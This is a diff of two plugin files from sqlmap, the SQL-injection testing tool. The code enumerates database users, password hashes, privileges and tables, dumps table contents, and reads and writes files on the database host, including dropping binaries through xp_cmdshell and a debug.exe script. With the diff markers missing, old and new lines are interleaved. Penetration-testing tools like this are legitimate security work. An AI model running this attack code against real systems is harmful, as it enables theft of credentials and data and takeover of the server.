from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
@@ -55,43 +58,79 @@ class Enumeration:
"""
def __init__(self, dbms):
self.has_information_schema = False
kb.data.has_information_schema = False
kb.data.banner = ""
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
self.banner = ""
self.currentUser = ""
self.currentDb = ""
self.cachedUsers = []
self.cachedUsersPassword = {}
self.cachedUsersPrivileges = {}
self.cachedDbs = []
self.cachedTables = {}
self.cachedColumns = {}
self.dumpedTable = {}
temp.inference = queries[dbms].inference
temp.inference = queries[dbms].inference
def forceDbmsEnum(self):
pass
def getPrematureBanner(self, query):
if conf.getBanner:
self.banner = inject.getValue(query)
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
bannerParser(self.banner)
infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg)
if kb.dbms == "MySQL":
first, last = 1, 6
elif kb.dbms == "PostgreSQL":
first, last = 12, 6
elif kb.dbms == "Microsoft SQL Server":
first, last = 29, 9
else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def getBanner(self):
if not conf.getBanner:
return
kb.dbmsDetected = True
infoMsg = "fetching banner"
logger.info(infoMsg)
query = queries[kb.dbms].banner
if not kb.data.banner:
if conf.unionUse or conf.unionTest:
dumper.string("valid union", unionTest())
if not self.banner:
self.banner = inject.getValue(query)
query = queries[kb.dbms].banner
kb.data.banner = inject.getValue(query)
bannerParser(kb.data.banner)
return self.banner
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
setOs()
return kb.data.banner
def getCurrentUser(self):
@@ -100,10 +139,10 @@ class Enumeration:
query = queries[kb.dbms].currentUser
if not self.currentUser:
self.currentUser = inject.getValue(query)
if not kb.data.currentUser:
kb.data.currentUser = inject.getValue(query)
return self.currentUser
return kb.data.currentUser
def getCurrentDb(self):
@@ -112,10 +151,10 @@ class Enumeration:
query = queries[kb.dbms].currentDb
if not self.currentDb:
self.currentDb = inject.getValue(query)
if not kb.data.currentDb:
kb.data.currentDb = inject.getValue(query)
return self.currentDb
return kb.data.currentDb
def isDba(self):
@@ -124,9 +163,9 @@ class Enumeration:
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
self.isDba = inject.getValue(query)
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
return str(self.isDba == "1")
return kb.data.isDba == "1"
def getUsers(self):
@@ -136,9 +175,9 @@ class Enumeration:
rootQuery = queries[kb.dbms].users
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
if conf.unionUse:
if kb.unionPosition:
if condition:
query = rootQuery["inband"]["query2"]
else:
@@ -146,9 +185,9 @@ class Enumeration:
value = inject.getValue(query, blind=False)
if value:
self.cachedUsers = value
kb.data.cachedUsers = value
if not self.cachedUsers:
if not kb.data.cachedUsers:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
@@ -156,7 +195,7 @@ class Enumeration:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of database users"
@@ -172,13 +211,13 @@ class Enumeration:
user = inject.getValue(query, inband=False)
if user:
self.cachedUsers.append(user)
kb.data.cachedUsers.append(user)
if not self.cachedUsers:
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsers
return kb.data.cachedUsers
def getPasswordHashes(self):
@@ -192,7 +231,7 @@ class Enumeration:
logger.info(infoMsg)
if conf.unionUse:
if kb.unionPosition:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"]
else:
@@ -223,22 +262,22 @@ class Enumeration:
password = parsePasswordHash(password)
if not self.cachedUsersPassword.has_key(user):
self.cachedUsersPassword[user] = [password]
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
self.cachedUsersPassword[user].append(password)
kb.data.cachedUsersPasswords[user].append(password)
if not self.cachedUsersPassword:
if not kb.data.cachedUsersPasswords:
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(self.cachedUsers):
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = self.cachedUsers
users = kb.data.cachedUsers
retrievedUsers = set()
@@ -260,7 +299,7 @@ class Enumeration:
query = rootQuery["blind"]["count2"] % user
else:
query = rootQuery["blind"]["count"] % user
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of password "
@@ -287,7 +326,7 @@ class Enumeration:
passwords.append(password)
if passwords:
self.cachedUsersPassword[user] = passwords
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
@@ -295,12 +334,12 @@ class Enumeration:
retrievedUsers.add(user)
if not self.cachedUsersPassword:
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsersPassword
return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges):
@@ -314,11 +353,11 @@ class Enumeration:
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges )
dbaCondition |= ( kb.dbms == "MySQL" and kb.data.has_information_schema and "SUPER" in privileges )
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges )
dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges )
return dbaCondition
@@ -372,8 +411,8 @@ class Enumeration:
( 3, "catupd" ),
)
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.unionPosition:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
else:
@@ -386,7 +425,7 @@ class Enumeration:
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
@@ -400,7 +439,7 @@ class Enumeration:
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " WHERE %s LIKE '%s'" % (condition, queryUser)
else:
@@ -431,12 +470,12 @@ class Enumeration:
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not self.has_information_schema:
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv)
@@ -444,16 +483,16 @@ class Enumeration:
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if self.cachedUsersPrivileges.has_key(user):
self.cachedUsersPrivileges[user].extend(privileges)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
else:
self.cachedUsersPrivileges[user] = list(privileges)
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not self.cachedUsersPrivileges:
if not kb.data.cachedUsersPrivileges:
conditionChar = "="
if conf.user:
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
@@ -475,17 +514,17 @@ class Enumeration:
users = [ conf.user ]
else:
if not len(self.cachedUsers):
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = self.cachedUsers
users = kb.data.cachedUsers
retrievedUsers = set()
for user in users:
unescapedUser = None
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
if user in retrievedUsers:
@@ -500,13 +539,13 @@ class Enumeration:
else:
queryUser = user
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["count2"] % queryUser
elif kb.dbms == "MySQL" and self.has_information_schema:
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
else:
query = rootQuery["blind"]["count"] % queryUser
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
@@ -521,9 +560,9 @@ class Enumeration:
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "MySQL" and self.has_information_schema:
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
else:
query = rootQuery["blind"]["query"] % (queryUser, index)
@@ -546,12 +585,12 @@ class Enumeration:
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not self.has_information_schema:
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
@@ -570,11 +609,11 @@ class Enumeration:
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
break
if privileges:
self.cachedUsersPrivileges[user] = list(privileges)
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
@@ -582,16 +621,16 @@ class Enumeration:
retrievedUsers.add(user)
if not self.cachedUsersPrivileges:
if not kb.data.cachedUsersPrivileges:
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( self.cachedUsersPrivileges, areAdmins )
return ( kb.data.cachedUsersPrivileges, areAdmins )
def getDbs(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
@@ -602,25 +641,25 @@ class Enumeration:
rootQuery = queries[kb.dbms].dbs
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.unionPosition:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
self.cachedDbs = value
kb.data.cachedDbs = value
if not self.cachedDbs:
if not kb.data.cachedDbs:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of databases"
@@ -629,24 +668,24 @@ class Enumeration:
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
db = inject.getValue(query, inband=False)
if db:
self.cachedDbs.append(db)
kb.data.cachedDbs.append(db)
if not self.cachedDbs:
if not kb.data.cachedDbs:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
return self.cachedDbs
return kb.data.cachedDbs
def getTables(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
@@ -660,7 +699,7 @@ class Enumeration:
rootQuery = queries[kb.dbms].tables
if conf.unionUse:
if kb.unionPosition:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
@@ -681,22 +720,22 @@ class Enumeration:
if value:
for db, table in value:
if not self.cachedTables.has_key(db):
self.cachedTables[db] = [table]
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
else:
self.cachedTables[db].append(table)
kb.data.cachedTables[db].append(table)
if not self.cachedTables:
if not kb.data.cachedTables:
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(self.cachedDbs):
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = self.cachedDbs
dbs = kb.data.cachedDbs
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
@@ -710,7 +749,7 @@ class Enumeration:
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
@@ -727,21 +766,21 @@ class Enumeration:
tables.append(table)
if tables:
self.cachedTables[db] = tables
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not self.cachedTables:
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return self.cachedTables
return kb.data.cachedTables
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
@@ -770,7 +809,7 @@ class Enumeration:
rootQuery = queries[kb.dbms].columns
if conf.unionUse:
if kb.unionPosition:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
@@ -789,9 +828,9 @@ class Enumeration:
for column, colType in value:
columns[column] = colType
table[conf.tbl] = columns
self.cachedColumns[conf.db] = table
kb.data.cachedColumns[conf.db] = table
if not self.cachedColumns:
if not kb.data.cachedColumns:
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
@@ -804,7 +843,7 @@ class Enumeration:
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of columns "
@@ -849,15 +888,15 @@ class Enumeration:
if columns:
table[conf.tbl] = columns
self.cachedColumns[conf.db] = table
kb.data.cachedColumns[conf.db] = table
if not self.cachedColumns:
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return self.cachedColumns
return kb.data.cachedColumns
def dumpTable(self):
@@ -882,19 +921,19 @@ class Enumeration:
if conf.col:
colList = conf.col.split(",")
self.cachedColumns[conf.db] = {}
self.cachedColumns[conf.db][conf.tbl] = {}
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
self.cachedColumns[conf.db][conf.tbl][column] = None
elif not self.cachedColumns:
if kb.dbms == "MySQL" and not self.has_information_schema:
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
elif not kb.data.cachedColumns:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
self.cachedColumns = self.getColumns(onlyColNames=True)
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
colList = self.cachedColumns[conf.db][conf.tbl].keys()
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
@@ -905,7 +944,7 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if conf.unionUse:
if kb.unionPosition:
if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
else:
@@ -919,8 +958,8 @@ class Enumeration:
for column in colList:
colLen = len(column)
if not self.dumpedTable.has_key(column):
self.dumpedTable[column] = { "length": 0, "values": [] }
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if isinstance(entry, str):
@@ -931,14 +970,14 @@ class Enumeration:
colEntryLen = len(colEntry)
maxLen = max(colLen, colEntryLen)
if maxLen > self.dumpedTable[column]["length"]:
self.dumpedTable[column]["length"] = maxLen
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
self.dumpedTable[column]["values"].append(colEntry)
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not self.dumpedTable:
if not kb.data.dumpedTable:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
@@ -950,7 +989,7 @@ class Enumeration:
query = rootQuery["blind"]["count"] % conf.tbl.upper()
else:
query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of "
@@ -961,7 +1000,7 @@ class Enumeration:
if conf.dumpAll:
logger.warn(errMsg)
return self.dumpedTable
return kb.data.dumpedTable
else:
raise sqlmapNoneDataException, errMsg
@@ -1001,15 +1040,15 @@ class Enumeration:
else:
length = lengths[column]
self.dumpedTable[column] = {
kb.data.dumpedTable[column] = {
"length": length,
"values": columnEntries,
}
entriesCount = len(columnEntries)
if self.dumpedTable:
self.dumpedTable["__infos__"] = {
if kb.data.dumpedTable:
kb.data.dumpedTable["__infos__"] = {
"count": entriesCount,
"table": conf.tbl,
"db": conf.db
@@ -1023,32 +1062,32 @@ class Enumeration:
if conf.dumpAll:
logger.warn(errMsg)
return self.dumpedTable
return kb.data.dumpedTable
else:
raise sqlmapNoneDataException, errMsg
return self.dumpedTable
return kb.data.dumpedTable
def dumpAll(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
conf.db = None
conf.tbl = None
conf.col = None
self.cachedDbs = []
self.cachedTables = self.getTables()
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedDbs = []
kb.data.cachedTables = self.getTables()
for db, tables in self.cachedTables.items():
for db, tables in kb.data.cachedTables.items():
conf.db = db
for table in tables:
conf.tbl = table
self.cachedColumns = {}
self.dumpedTable = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
@@ -1071,20 +1110,22 @@ class Enumeration:
break
if selectQuery == True:
message = "do you want to retrieve the SQL statement output? "
message += "[Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
if kb.stackedTest == None:
stackedTest()
if kb.stackedTest == False:
warnMsg = "the web application does not support "
warnMsg += "stacked queries"
logger.warn(warnMsg)
return None
else:
if sqlType:
@@ -1114,7 +1155,7 @@ class Enumeration:
query = None
try:
query = raw_input("sql> ")
query = raw_input("sql-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,7 +24,19 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import binascii
import os
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class Filesystem:
@@ -32,11 +44,290 @@ class Filesystem:
This class defines generic OS file system functionalities for plugins.
"""
def __init__(self):
self.fileTblName = "sqlmapfile"
self.tblField = "data"
def __unbase64String(self, base64Str):
unbase64Str = ""
if isinstance(base64Str, (list, tuple, set)):
for chunk in base64Str:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unbase64Str += "%s\n" % chunk.decode("base64")
else:
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
def __unhexString(self, hexStr):
unhexStr = ""
if isinstance(hexStr, (list, tuple, set)):
for chunk in hexStr:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unhexStr += binascii.unhexlify(chunk)
else:
unhexStr = binascii.unhexlify(hexStr)
return unhexStr
def __binDataToScr(self, binaryData, chunkName):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
fileLines = []
fileSize = len(binaryData)
lineAddr = 0x100
lineLen = 20
fileLines.append("n %s" % chunkName)
fileLines.append("rcx")
fileLines.append("%x" % fileSize)
fileLines.append("f 0100 %x 00" % fileSize)
for fileLine in range(0, len(binaryData), lineLen):
scrString = ""
for lineChar in binaryData[fileLine:fileLine+lineLen]:
strLineChar = binascii.hexlify(lineChar)
if not scrString:
scrString = "e %x %s" % (lineAddr, strLineChar)
else:
scrString += " %s" % strLineChar
lineAddr += len(lineChar)
fileLines.append(scrString)
fileLines.append("w")
fileLines.append("q")
return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == "MySQL":
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
elif kb.dbms == "PostgreSQL":
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == "Microsoft SQL Server":
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
wFileSize = os.path.getsize(wFile)
logger.debug("checking if the %s file has been written" % fileType)
dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2)
if dFileSize and dFileSize.isdigit():
infoMsg = "the file has been successfully written and "
infoMsg += "its size is %s bytes" % dFileSize
dFileSize = long(dFileSize)
if wFileSize == dFileSize:
infoMsg += ", same size as the local file '%s'" % wFile
else:
infoMsg += ", but the size differs from the local "
infoMsg += " file '%s' (%d bytes)" % (wFile, wFileSize)
logger.info(infoMsg)
else:
warnMsg = "it looks like the file has not been written, this "
warnMsg += "can occur if the DBMS process' user has no write "
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
def fileToSqlQueries(self, fcEncodedList):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
counter = 0
sqlQueries = []
for fcEncodedLine in fcEncodedList:
if counter == 0:
sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
else:
updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
counter += 1
return sqlQueries
def fileEncode(self, fileName, encoding, single):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
fcEncodedList = []
fp = open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
if single == False:
fcLength = len(fcEncodedStr)
if fcLength > 1024:
for i in range(0, fcLength, 1024):
string = ""
if encoding == "hex":
string += "0x"
string += fcEncodedStr[i:i+1024]
if encoding == "base64":
string = "'%s'" % string
fcEncodedList.append(string)
if not fcEncodedList:
if encoding == "hex":
fcEncodedStr = "0x%s" % fcEncodedStr
elif encoding == "base64":
fcEncodedStr = "'%s'" % fcEncodedStr
fcEncodedList = [ fcEncodedStr ]
return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
randScr = "sqlmapfile%s.scr" % randomStr(lowercase=True)
chunkName = randomStr(lowercase=True)
fileScrLines = self.__binDataToScr(binaryData, chunkName)
forgedScrLines = []
cmd = ""
charCounter = 0
maxLen = 4096
logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName))
for scrLine in fileScrLines:
forgedScrLine = "echo %s " % scrLine
forgedScrLine += ">> %s\%s" % (tmpPath, randScr)
forgedScrLines.append(forgedScrLine)
for forgedScrLine in forgedScrLines:
cmd += "%s & " % forgedScrLine
charCounter += len(forgedScrLine)
if charCounter >= maxLen:
forgedCmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(forgedCmd)
cmd = ""
charCounter = 0
if cmd:
forgedCmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(forgedCmd)
commands = (
"cd %s" % tmpPath,
"debug < %s" % randScr,
"del /F %s" % randScr
)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd, silent=True)
return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def readFile(self, rFile):
errMsg = "OS file reading not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
fileContent = None
stackedTest()
self.checkDbmsOs()
if kb.stackedTest == False:
debugMsg = "going to read the file with UNION query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
fileContent = self.unionReadFile(rFile)
else:
debugMsg = "going to read the file with stacked query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
fileContent = self.stackedReadFile(rFile)
if fileContent == None:
self.cleanup(onlyFileTbl=True)
return
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
fileContent = self.__unhexString(fileContent)
elif kb.dbms == "PostgreSQL":
fileContent = self.__unbase64String(fileContent)
rFilePath = dataToOutFile(fileContent)
self.cleanup(onlyFileTbl=True)
return rFilePath
def writeFile(self, wFile):
errMsg = "OS file writing not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
stackedTest()
self.checkDbmsOs()
if kb.stackedTest == False:
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)
self.unionWriteFile(wFile, dFile, fileType, confirm)
else:
